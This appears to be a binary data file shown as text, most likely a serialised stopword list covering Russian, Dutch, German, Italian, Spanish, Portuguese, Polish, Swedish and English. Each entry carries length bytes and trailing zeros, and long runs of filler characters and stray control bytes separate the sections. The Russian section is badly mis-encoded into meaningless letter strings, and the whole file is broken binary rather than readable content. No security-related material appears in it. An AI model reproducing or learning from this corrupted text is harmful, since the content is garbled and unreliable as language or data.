?OB>N0
?OBCN0
?OBK50
?OBK90
?OBK<0
 ?OBK<80
?OBKE0
@025=0
@02=00
 @02=0O0
 @02=550
@02=>0
"@02=>3>0
 @02=>50
 @02=>90
 @02=><0
"@02=><C0
 @02=>N0
 @02=CN0
@02=K0
 @02=K50
 @02=K90
 @02=K<0
"@02=K<80
 @02=KE0
@0480
$@04>AB=>0
@070
"@07-4200
@0700
@070<0
 @070<80
@070E0
@07250
@0750
$@07;8G5=0
$@07;8G=00
&@07;8G=0O0
$@07;8G=>0
(@07;8G=>3>0
&@07;8G=>50
&@07;8G=>90
&@07;8G=><0
(@07;8G=><C0
&@07;8G=>N0
&@07;8G=CN0
$@07;8G=K0
&@07;8G=K50
&@07;8G=K90
&@07;8G=K<0
(@07;8G=K<80
&@07;8G=KE0
"@07;N;80
@07>20
 @07>2>0
@07><0
@07C0
@07K0
@0=550
@0=>0
 @0=LH50
 @0AB5<0
 @0AB5B0
"@0AB5B50
"@0AB5HL0
@0AB80
"@0AB8B50
@0ABC0
 @0ABCB0
$@0ABCI0O0
&@0ABCI53>0
$@0ABCI550
$@0ABCI590
$@0ABCI5<0
&@0ABCI5<C0
$@0ABCI5N0
$@0ABCI850
$@0ABCI890
$@0ABCI8<0
&@0ABCI8<80
$@0ABCI8E0
$@0ABCICN0
@0ABO0
@54:>0
@>A0
@>A;00
@>A;80
@>A;>0
 @>AH0O0
"@>AH53>0
 @>AH550
 @>AH590
 @>AH5<0
"@>AH5<C0
 @>AH5N!!!!!!!!!!!!!!!!!!!!!!!!!!!!rR4~Z4~Z6hJ(lP4hB^8zV2^D bD$`B"jL.xX: xJ*
jJ(~`<




b
B
"

^>jJ&


Z
.

		|	P	$	vP(`:d8^0~T(~R$vJj>`
 wUbK20
@>AH80
 @>AH850
 @>AH890
 @>AH8<0
"@>AH8<80
 @>AH8E0
 @>AHCN0
@O4><0
A0
A0<0
A0<00
A0<0O0
A0<80
A0<8<0
 A0<8<80
A0<8E0
A0<>0
 A0<>3>0
A0<>50
A0<>90
A0<><0
 A0<><C0
A0<>N0
A0<C0
A0<CN0
A0<K50
A0<K90
A0<K<0
 A0<K<80
A0<KE0
A25@E0
A2>3>0
A2>50
 A2>53>0
A2>590
A2>5<0
 A2>5<C0
A2>5N0
A2>80
A2>8<0
 A2>8<80
A2>8E0
A2>90
A2><0
A2><C0
A2>N0
A2>O0
A2K<0
 A45;020
&A45;02H0O0
(A45;02H53>0
&A45;02H550
&A45;02H590
&A45;02H5<0
(A45;02H5<C0
&A45;02H5N0
$A45;02H80
&A45;02H850
&A45;02H890
&A45;02H8<0
(A45;02H8<80
&A45;02H8E0
&A45;02HCN0
"A45;05<0
"A45;05B0
$A45;05B50
$A45;05HL0
 A45;090
$A45;09B50
 A45;0;0
"A45;0;00
"A45;0;80
"A45;0;>0
 A45;0=0
"A45;0=00
&A45;0==0O0
(A45;0==>3>0
&A45;0==>50
&A45;0==>90
&A45;0==><0
(A45;0==><C0
&A45;0==>N0
&A45;0==CN0
&A45;0==K50
&A45;0==K90
&A45;0==K<0
(A45;0==K<80
&A45;0==KE0
"A45;0=>0
"A45;0=K0
"A45;0BL0
 A45;0N0
"A45;0NB0
A50
A5150
A51O0
A53>0
"A53>4=O0
A590
 A59G0A0
A5<0
 A5<-:00
A5<590
A5<80
A5<C0
A5<L0
A5<L50
 A5<L590
A5<L80
A5<LN0
A5<LO0
 A5<LO<0
"A5<LO<80
 A5<LOE0
 A5@54L0
A5N0
A84<O0
A84O0
A850
A880
A88<0
A88<80
A88E0
A8;5=0
 A8;L=00
"A8;L=0O0
"A8;L=550
 A8;L=>0
$A8;L=>3>0
"A8;L=>50
"A8;L=>90
"A8;L=><0
$A8;L=><C0
"A8;L=>N0
"A8;L=CN0
 A8;L=K0
"A8;L=K50
"A8;L=K90
"A8;L=K<0
$A8;L=K<80
"A8;L=KE0
A8<0
A8<80
 A8@5GL0
A8E0
A8N0
A8O0
 A:2>7L0
$A:>;5G:>0
A:>;L0
$A:>;L:0O0
$A:>;L:850
$A:>;L:890
$A:>;L:8<0
&A:>;L:8<80
$A:>;L:8E0
"A:>;L:>0
,A:>;L:>-;81>0
0A:>;L:>-=81C4L0
(A:>;L:>-B>0
&A:>;L:>3>0
$A:>;L:>50
$A:>;L:>90
$A:>;L:><0
&A:>;L:><C0
$A:>;L:>N0
$A:>;L:CN0
A:>@0
A:>@00
 A:>@0O0
 A:>@550
A:>@>0
"A:>@>3>0
 A:>@>50
 A:>@>90
 A:>@><0
"A:>@><C0
 A:>@>N0
 A:>@CN0
A:>@K0
 A:>@K50
 A:>@K90
 A:>@K<0
"A:>@K<80
 A:>@KE0
$A;54>2020
*A;54>202H0O0
,A;54>202H53>0
*A;54>202H550
*A;54>202H590
*A;54>202H5<0
,A;54>202H5<C0
*A;54>202H5N0
(A;54>202H80
*A;54>202H850
*A;54>202H890
*A;54>202H8<0
,A;54>202H8<80
*A;54>202H8E0
*A;54>202HCN0
$A;54>20;0
&A;54>20;00
&A;54>20;80
&A;54>20;>0
.A;54>20B5;L=>0
&A;54>20BL0
"A;54C5<0
"A;54C5B0
$A;54C5B50
$A;54C5HL0
 A;54C90
$A;54C9B50
 A;54CN0
"A;54CNB0
&A;54CNI0O0
(A;54CNI53>0
&A;54CNI550
&A;54CNI590
&A;54CNI5<0
(A;54CNI5<C0
&A;54CNI5N0
&A;54CNI850
&A;54CNI890
&A;54CNI8<0
(A;54CNI8<80
&A;54CNI8E0
A50
A0,h>jBnBrR4rP2pJ&`4\8hL2fD"tT2|brT6




h
H
.

~2fD$pJ$



d
>

				f	D	"		vT2rL(h@lP2|^>"lN0|\@"tJ^@ ~` 
UJJ{t|0
&A;54CNICN0
 A;54CO0
"A;8H:><0
 A;>2=>0
 A;>65=0
 A;>6=00
"A;>6=0O0
"A;>6=550
 A;>6=>0
$A;>6=>3>0
"A;>6=>50
"A;>6=>90
"A;>6=><0
$A;>6=><C0
"A;>6=>N0
"A;>6=CN0
 A;>6=K0
"A;>6=K50
"A;>6=K90
"A;>6=K<0
$A;>6=K<80
"A;>6=KE0
 A;KE><0
"A=0G0;00
A=>200
A>0
A>1>90
A>1>N0
 A>2A5<0
 A>74020
&A>7402H0O0
(A>7402H53>0
&A>7402H550
&A>7402H590
&A>7402H5<0
(A>7402H5<C0
&A>7402H5N0
$A>7402H80
&A>7402H850
&A>7402H890
&A>7402H8<0
(A>7402H8<80
&A>7402H8E0
&A>7402HCN0
$A>74048<0
&A>74048B50
$A>7404CB0
 A>74090
$A>7409B50
 A>740;0
"A>740;00
"A>740;80
"A>740;>0
 A>740<0
 A>740=0
"A>740=00
&A>740==0O0
(A>740==>3>0
&A>740==>50
&A>740==>90
&A>740==><0
(A>740==><C0
&A>740==>N0
&A>740==CN0
&A>740==K50
&A>740==K90
&A>740==K<0
(A>740==K<80
&A>740==KE0
"A>740=>0
"A>740=K0
"A>740AB0
"A>740BL0
"A>740HL0
"A>AB>8<0
"A>AB>8B0
$A>AB>8B50
$A>AB>8HL0
 A>AB>N0
 A>AB>O0
"A>AB>O20
(A>AB>O2H0O0
*A>AB>O2H53>0
(A>AB>O2H550
(A>AB>O2H590
(A>AB>O2H5<0
*A>AB>O2H5<C0
(A>AB>O2H5N0
&A>AB>O2H80
(A>AB>O2H850
(A>AB>O2H890
(A>AB>O2H8<0
*A>AB>O2H8<80
(A>AB>O2H8E0
(A>AB>O2HCN0
"A>AB>O;0
$A>AB>O;00
$A>AB>O;80
$A>AB>O;>0
"A>AB>OB0
$A>AB>OBL0
&A>AB>OI0O0
(A>AB>OI53>0
&A>AB>OI550
&A>AB>OI590
&A>AB>OI5<0
(A>AB>OI5<C0
&A>AB>OI5N0
&A>AB>OI850
&A>AB>OI890
&A>AB>OI8<0
(A>AB>OI8<80
&A>AB>OI8E0
&A>AB>OICN0
"A?0A81>0
 A?5@200
,A?5@2>=0G0;00
,A?5@2>=0G0;C0
 A?;>HL0
 A?CABO0
A@07C0
A@5480
 A@54=50
$A@54=53>0
"A@54=550
"A@54=590
"A@54=5<0
$A@54=5<C0
"A@54=5N0
"A@54=850
"A@54=890
"A@54=8<0
$A@54=8<80
"A@54=8E0
"A@54=NN0
"A@54=OO0
A@54L0
A@O4C0
AB00
AB020
"AB02H0O0
$AB02H53>0
"AB02H550
"AB02H590
"AB02H5<0
$AB02H5<C0
"AB02H5N0
 AB02H80
"AB02H850
"AB02H890
"AB02H8<0
$AB02H8<80
"AB02H8E0
"AB02HCN0
AB0;0
AB0;00
AB0;80
AB0;>0
 AB0=5<0
 AB0=5B0
"AB0=5B50
"AB0=5HL0
.AB0=>282H0OAO0
0AB0=>282H53>AO0
.AB0=>282H55AO0
.AB0=>282H59AO0
.AB0=>282H5<AO0
0AB0=>282H5<CAO0
.AB0=>282H5NAO0
.AB0=>282H85AO0
.AB0=>282H89AO0
0AB0=>282H8<8AO0
.AB0=>282H8<AO0
,AB0=>282H8AL0
.AB0=>282H8EAO0
.AB0=>282HCNAO0
*AB0=>28;0AL0
*AB0=>28;8AL0
*AB0=>28;>AL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B>G=>-B>G=>0
"B>G=>3>0
 B>G=>50
 B>G=>90
 B>G=><0
"B>G=><C0
 B>G=>N0
 B>G=CN0
B>G=K0
 B>G=K50
 B>G=K90
 B>G=K<0
"B>G=K<80
 B>G=KE0
*B>GL-2-B>GL0
B>N0
B?@C0
&B@0-B0-B00
B@0E0
,B@0E-B0@0@0E0
$B@51>2020
*B@51>202H0O0
,B@51>202H53>0
*B@51>202H550
*B@51>202H590
*B@51>202H5<0
,B@51>202H5<C0
*B@51>202H5N0
(B@51>202H80
*B@51>202H850
*B@51>202H890
*B@51>202H8<0
,B@51>202H8<80
*B@51>202H8E0
*B@51>202HCN0
$B@51>20;0
&B@51>20;00
&B@51>20;80
&B@51>20;>0
$B@51>20=0
&B@51>20=00
*B@51>20==0O0
,B@51>20==>3>0
*B@51>20==>50
*B@51>20==>90
*B@51>20==><0
ACFtJtJ&X8xX6lL,xZ< `:hJ,`>$bB$nR2|^@ v.nF 



`
>

pN.z\>




t
V
8

					`	B	$		~R$tFh@vN&vLZ*j:
~NV4`
qUqKG8~0
,B@51>20==><C0
*B@51>20==>N0
*B@51>20==CN0
*B@51>20==K50
*B@51>20==K90
*B@51>20==K<0
,B@51>20==K<80
*B@51>20==KE0
&B@51>20=>0
&B@51>20=K0
&B@51>20BL0
"B@51C5<0
$B@51C5<00
&B@51C5<0O0
&B@51C5<550
$B@51C5<>0
(B@51C5<>3>0
&B@51C5<>50
&B@51C5<>90
&B@51C5<><0
(B@51C5<><C0
&B@51C5<>N0
&B@51C5<CN0
$B@51C5<K0
&B@51C5<K50
&B@51C5<K90
&B@51C5<K<0
(B@51C5<K<80
&B@51C5<KE0
"B@51C5B0
$B@51C5B50
$B@51C5HL0
 B@51C90
$B@51C9B50
 B@51CN0
"B@51CNB0
&B@51CNI0O0
(B@51CNI53>0
&B@51CNI550
&B@51CNI590
&B@51CNI5<0
(B@51CNI5<C0
&B@51CNI5N0
&B@51CNI850
&B@51CNI890
&B@51CNI8<0
(B@51CNI8<80
&B@51CNI8E0
&B@51CNICN0
 B@51CO0
B@5<0
B@5<O0
*B@5=L-1@5=L0
 B@5B890
 B@5BL50
$B@5BL53>0
"B@5BL590
"B@5BL5<0
$B@5BL5<C0
"B@5BL5N0
 B@5BL80
"B@5BL8<0
$B@5BL8<80
"B@5BL8E0
 B@5BLN0
 B@5BLO0
B@5E0
B@80
 B@C45=0
 B@C4=00
"B@C4=0O0
"B@C4=550
 B@C4=>0
$B@C4=>3>0
"B@C4=>50
"B@C4=>90
"B@C4=><0
$B@C4=><C0
"B@C4=>N0
"B@C4=CN0
 B@C4=K0
"B@C4=K50
"B@C4=K90
"B@C4=K<0
$B@C4=K<80
"B@C4=KE0
&B@CE-B@CE0
&B@NE-B@NE0
BAA0
BC0
BC400
&BC40-AN400
"BC40-B>0
BCB0
 BCB-B>0
BK0
BK:0
BK@:0
BLDC0
BN-BN0
BO?0
"BO?-;O?0
C0
C00
C2K0
C3C0
C60
C650
C65;80
C65;L0
C6>0
C;N;N0
 C<5NG80
C@00
CD0
CE0
CE-BK0
D80
DC0
DC-BK0
DC90
DN9BL0
E00
E0-E00
E0?0
 E20B020
&E20B02H0O0
(E20B02H53>0
&E20B02H550
&E20B02H590
&E20B02H5<0
(E20B02H5<C0
&E20B02H5N0
$E20B02H80
&E20B02H850
&E20B02H890
&E20B02H8<0
(E20B02H8<80
&E20B02H8E0
&E20B02HCN0
"E20B05<0
$E20B05<00
&E20B05<0O0
$E20B05<>0
(E20B05<>3>0
&E20B05<>50
&E20B05<>90
&E20B05<><0
(E20B05<><C0
&E20B05<>N0
&E20B05<CN0
$E20B05<K0
&E20B05<K50
&E20B05<K90
&E20B05<K<0
(E20B05<K<80
&E20B05<KE0
"E20B05B0
$E20B05B50
$E20B05HL0
 E20B090
$E20B09B50
 E20B0;0
"E20B0;00
"E20B0;80
"E20B0;>0
 E20B0=0
"E20B0=00
&E20B0==0O0
(E20B0==>3>0
&E20B0==>50
&E20B0==>90
&E20B0==><0
(E20B0==><C0
&E20B0==>N0
&E20B0==CN0
&E20B0==K50
&E20B0==K90
&E20B0==K<0
(E20B0==K<80
&E20B0==KE0
"E20B0=>0
"E20B0=K0
"E20B0BL0
 E20B0N0
"E20B0NB0
&E20B0NI0O0
(E20B0NI53>0
&E20B0NI550
&E20B0NI590
&E20B0NI5<0
(E20B0NI5<C0
&E20B0NI5N0
&E20B0NI850
&E20B0NI890
&E20B0NI8<0
(E20B0NI8<80
&E20B0NI8E0
&E20B0NICN0
 E20B0O0
E5-E50
E8-E80
$E8-E8-E80
E;>?0
E;N?0
 E;OABL0
E<0
E=K0
E>-E>0
E>?0
E>@>H0
 E>@>H00
"E>@>H0O0
$E>@>H53>0
"E>@>H550
"E>@>H590
"E>@>H5<0
$E>@>H5<C0
"E>@>H5N0
 E>@>H80
"E>@>H850
C 0
C0
"C
tT2zT.nH tR2^6zT,nH$hB^8z\B$zVld>B(





f
D


b>tP.



b
B
"

				f	D	$		vV6f>~X2|X8Z4vP*lH&^4
`
xU	IbT0
"E>@>H890
"E>@>H8<0
$E>@>H8<80
"E>@>H8E0
 E>@>H>0
"E>@>HCN0
E>B520
$E>B52H0O0
&E>B52H53>0
$E>B52H550
$E>B52H590
$E>B52H5<0
&E>B52H5<C0
$E>B52H5N0
"E>B52H80
$E>B52H850
$E>B52H890
$E>B52H8<0
&E>B52H8<80
$E>B52H8E0
$E>B52HCN0
E>B5;0
 E>B5;00
 E>B5;80
 E>B5;>0
 E>B5BL0
E>B80
E>B8<0
 E>B8B50
E>BL0
E>BO0
E>BOB0
"E>BOI0O0
$E>BOI53>0
"E>BOI550
"E>BOI590
"E>BOI5<0
$E>BOI5<C0
"E>BOI5N0
"E>BOI850
"E>BOI890
"E>BOI8<0
$E>BOI8<80
"E>BOI8E0
"E>BOICN0
E>G5B0
 E>G5HL0
E>GC0
E@C?0
 E@CABL0
E@N0
"E@N-E@N0
E@N:0
 E@OABL0
EC40
EC400
EC40O0
EC4>0
 EC4>3>0
EC4>50
EC4>90
EC4><0
 EC4><C0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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!h2vPN.$>tZX8tzH2`n"R:
hR8lP$$>>4pXpX*|BT:nT<H.b~"rZld8N



n
P
2

|^@$^6


j
B

			|	Z	6		`:|V.b:hL4nT8bB"~^>"pR4|`
cU8I 10
,zijnentwille0
*zijnerzijds0

zis0
zitto0
znad0
zo0
zo'n0
zoal0
zoals0
"zodanig0
zodat0
$zodoende0
zodra0
"zoetjes0
 zogoed0
"zohaast0
 zoiets0
"zojuist0
 zolang0
 zomaar0
 zomede0
zomin0
 zonder0
zonet0
zopas0
 zoveel0
zover0
"zoverre0
 zowaar0
zowat0
zowel0
 zozeer0
 zoven0
zu0
"zufolge0
&zugunsten0
zuid0
$zuidoost0
$zuidwest0
,zuidzuidoost0
,zuidzuidwest0
4zuinigheidshalve0
&zuinigjes0
 zulieb0
"zuliebe0
zulk0
zulke0
zulks0
zumal0
$zunchst0
zut0
*zuungunsten0
"zuwider0

zuzo0
&zuzglich0
"zwakjes0
"zwanzig0
(zwanzigste0
*zwanzigstem0
*zwanzigsten0
*zwanzigster0
*zwanzigstes0
 zwecks0
zwei0
&zweierlei0
 zweite0
"zweitem0
"zweiten0
"zweiter0
"zweites0
0zweiundachtzig0
6zweiundachtzigste0
8zweiundachtzigstem0
8zweiundachtzigsten0
8zweiundachtzigster0
8zweiundachtzigstes0
0zweiunddreiig0
6zweiunddreiigste0
8zweiunddreiigstem0
8zweiunddreiigsten0
8zweiunddreiigster0
8zweiunddreiigstes0
0zweiundfnfzig0
6zweiundfnfzigste0
8zweiundfnfzigstem0
8zweiundfnfzigsten0
8zweiundfnfzigster0
8zweiundfnfzigstes0
0zweiundneunzig0
6zweiundneunzigste0
8zweiundneunzigstem0
8zweiundneunzigsten0
8zweiundneunzigster0
8zweiundneunzigstes0
0zweiundsechzig0
6zweiundsechzigste0
8zweiundsechzigstem0
8zweiundsechzigsten0
zira!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$<*pN,





j
J
*

vX< vX:




h
J
,

		t		p	P	0		hVz\>"L:z`2 F,dD$lN0jN4|`D(tdH,hVz\>"L:z`
U
H80
$buitenop0
*buitenshuis0
,buitenslands0
(buitenspel0
*buitentijds0
$bulhufas0
bum0
bums0
(buonanotte0
&buonasera0
 buond0
(buongiorno0
burde0
 burdet0
bus0
but0
but0
	but0
but0
but0
	but0
by0
by0
	by0
by0
by0
	by0
by0
byB0
byBa0
byBa[0
 byBaby0
"byBaby[0
"byBabym0
byBam0
byBby0
 byBby[0
 byBbym0
byBe[0
byBem0
byBo0
byBo[0
 byBoby0
"byBoby[0
"byBobym0
byBy0
$byBy[cie0
"byBy[my0
 byByby0
(byByby[cie0
&byByby[my0
bycia0
"byciach0
"byciami0
bycie0
 byciem0
 byciom0
byciu0
byli0
$byli[cie0
"byli[my0
 byliby0
(byliby[cie0
&byliby[my0
bzgl.0
bzw.0
bh0
bda0
$bdadera0
bdas0
bde0
br0
c0
c0
c0
c0
c0
c0
c0
c0
c0
c0
c0
c0
	c0
c0

cabe0
cada0
cada0

cada0
"cadauna0
"cadauno0
cad0
came0
came0
	came0
came0
came0
	came0
can0
can0
	can0
can0
can0
	can0
capo0
car0

"caramba0

caray0
caro0
caso0
"casomai0
"caspita0

$cataplum0

$catapln0

"catorce0

&catorcena0

(catorcenas0

&catorceno0

(catorcenos0
"catorze0
ce0
ce0

ce0
ceci0
"cedinho0
cedo0
bde0
br0
bra0
but0
by0
came0
can0
c0
c!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!nF 



h
F
$

v\B(jN2



~
b
L
6
 


						p	Z	D	.		hN2dF vX8rJ*dF*rP.pX@(tZ:jP,`
3U>\FGC0
ma0
ma0
ma0
ma0
maar0
 macch0
macie0
made0
 magari0
&magertjes0
mah0
maior0
maior0
"maiores0
mais0
mais0
mais0
maj0
majc0
make0
make0
	make0
make0
make0
	make0
mal0

&maldicin0
$malgrado0
$malgrado0
 malgr0

"malhaya0
mam0
mamy0
man0
man0
manch0
 manche0
"manchem0
"manchen0
"mancher0
(mancherlei0
"manches0
mange0
"mangels0
(mangesteds0
many0
many0
	many0
many0
make0
many!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!@jL*|^D*jD*$dH,|V6x`
U*H¢(0
ors0
os0
os0
os0

os0
 osanna0
ossia0
other0
other0
	other0
other0
other0
	other0

otra0

otras0

otro0

otros0

 otros0
"ottanta0
.ottantacinque0
6ottantacinquesimo0
(ottantadue0
0ottantaduesimo0
*ottantamila0
*ottantanove0
2ottantanovesimo0
8ottantaquattresimo0
0ottantaquattro0
(ottantasei0
2ottantaseiesimo0
,ottantasette0
4ottantasettesimo0
2ottantatreesimo0
(ottantatr0
*ottantesimo0
0ottantottesimo0
(ottantotto0
$ottantun0
.ottantunesimo0
&ottantuno0
 ottavo0
otto0
.ottocentesimo0
&ottocento0
.ottocentomila0
$ottomila0
ou0
ou0
ou0
ouais0
"oudsher0
$oudtijds0
ouf0
 ouille0
our0
our0
	our0
our0
our0
	our0
oust0
ouste0
out0
out0
	out0
out0
out0
	out0
outra0
outra0
 outras0
 outras0
outre0
 outrem0
outro0
outro0
"outrora0
 outros0
 outros0
&outrossim0
oue0
ove0
oven0
"ovenfor0
"ovenfra0
 ovenp0
over0
over0
over0
	over0
over0
over0
over0
	over0
,over-en-weer0
 overal0
&overboord0
"overdag0
&overdwars0
"overeen0
$overeind0
"overfor0
$overheen0
$overhoop0
&overigens0
$overmits0
(overmorgen0
&overstaan0
$overstag0
"overzij0
ovre0
 ovvero0
&ovverosia0
ovvia0
o0
p0
p0
p0
p0
p0
p0
p0
p0
p0
p0
p0
p0
	p0
p0
paf0

paf0
paff0
pah0
paix0
 pakweg0
pal0
(palsambleu0
pan0
oss0
ovan0
"ovanfr0
 ovanom0
 ovanp0
pang0
other0
our0
out0
over0
p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tera0
 teras0
tero0
 teros0
$teramos0
"tereis0
tes0
teu0
teve0
 tevens0
,tevoorschijn0
"tevoren0
"tezamen0
than0
than0
	than0
than0
than0
	than0
thans0
that0
that0
	that0
that0
that0
	that0
the0
the0
	the0
the0
the0
	the0
their0
their0
	their0
their0
their0
	their0
them0
them0
	them0
them0
them0
	them0
then0
then0
	then0
then0
then0
	then0
there0
there0
	there0
there0
there0
	there0
these0
these0
	these0
these0
these0
	these0
they0
they0
	they0
they0
they0
	they0
this0
this0
	this0
this0
this0
	this0
those0
those0
	those0
those0
those0
	those0
"through0
"through0
	"through0
"through0
"through0
	"through0
thuis0
ti0
ti0

ti0
$ticktack0
tida0
tidas0
tido0
tidos0
tien0
$tienmaal0
 tienne0
"tiennes0
tiens0
"tijdens0
til0
 tilmed0
tilt0
tinha0
tinha0
 tinham0
 tinhas0
 tirili0
tit0
tive0
"tivemos0
tiver0
 tivera0
"tiveram0
"tiveras0
$tiverdes0
"tiverem0
"tiveres0
$tivermos0
"tivesse0
$tivessem0
$tivesses0
"tiveste0
$tivestes0
till0
tills0
tio0
 tionde0
$tiotusen0
than0
that0
the0
their0
them0
then0
there0
these0
they0
this0
those0
"through0
til!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!
~Z8



p
N
2

h|`@J."&dF*




f
D
"

			|	^	@	"		vZ>"xZ<njL.RjN62fH*rV:tX< tZ@~`
UtG>0
to0
to0
	to0
to0
to0
to0
to0
	to0
to'0
tob0
tobie0
toch0
toda0
toda0

toda0
todas0
todas0

todas0
"todavia0

"todava0
todo0
todo0

todo0
todos0
todos0

todos0
toe0
toen0
&toenmaals0
*toentertijd0
toi0
ton0
too0
too0
	too0
too0
too0
	too0
topp0
torna0
"tornada0
$tornadas0
"tornado0
$tornados0
 tornai0
"tornais0
 tornam0
$tornamos0
$tornando0
 tornar0
"tornara0
$tornaram0
$tornaras0
&tornardes0
$tornarei0
&tornareis0
$tornarem0
(tornaremos0
$tornares0
$tornaria0
&tornariam0
&tornarias0
&tornarmos0
"tornar0
$tornars0
$tornaro0
*tornaramos0
(tornareis0
 tornas0
$tornasse0
&tornassem0
&tornasses0
$tornaste0
&tornastes0
"tornava0
$tornavam0
$tornavas0
torne0
 tornei0
"torneis0
 tornem0
$tornemos0
 tornes0
torno0
 tornou0
(tornramos0
&tornreis0
(tornsseis0
*tornssemos0
(tornvamos0
&tornveis0
tos0
tot0
tot0
&totaliter0
 totdat0
$touchant0
tous0
tout0
toute0
 toutes0
tra0
trac0
 tralla0
$trallala0
(trallalala0
 tranne0
$transeat0
trapp0
trara0

tras0
.trasanteontem0
tre0

trece0

"trecena0

$trecenas0

"treceno0

$trecenos0
,trecentesimo0
$trecento0
,trecentomila0
,trecentsima0
.trecentsimas0
,trecentsimo0
.trecentsimos0
*tredicesimo0
"tredici0
*tredicimila0

&tredcima0

(tredcimas0

&tredcimo0

(tredcimos0

"treinta0

0treintaidosena0

2treintaidosenas0

0treintaidoseno0

2treintaidosenos0

&treintena0

(treintenas0

&treinteno0

(treintenos0
 treize0
&treizime0
(treizimes0
"tremila0
"tremolo0
 trenta0
,trentacinque0
4trentacinquesimo0
&trentadue0
.trentaduesimo0
(trentamila0
(trentanove0
0trentanovesimo0
6trentaquattresimo0
.trentaquattro0
&trentasei0
0trentaseiesimo0
*trentasette0
2trentasettesimo0
0trentatreesimo0
&trentatr0
 trente0
(trentesimo0
&trentime0
(trentimes0
.trentottesimo0
&trentotto0
"trentun0
,trentunesimo0
$trentuno0

tres0

*trescientos0
 tolfte0
tolv0
tre0
 tredje0
&tredubbel0
&tredubbla0
&trehundra0
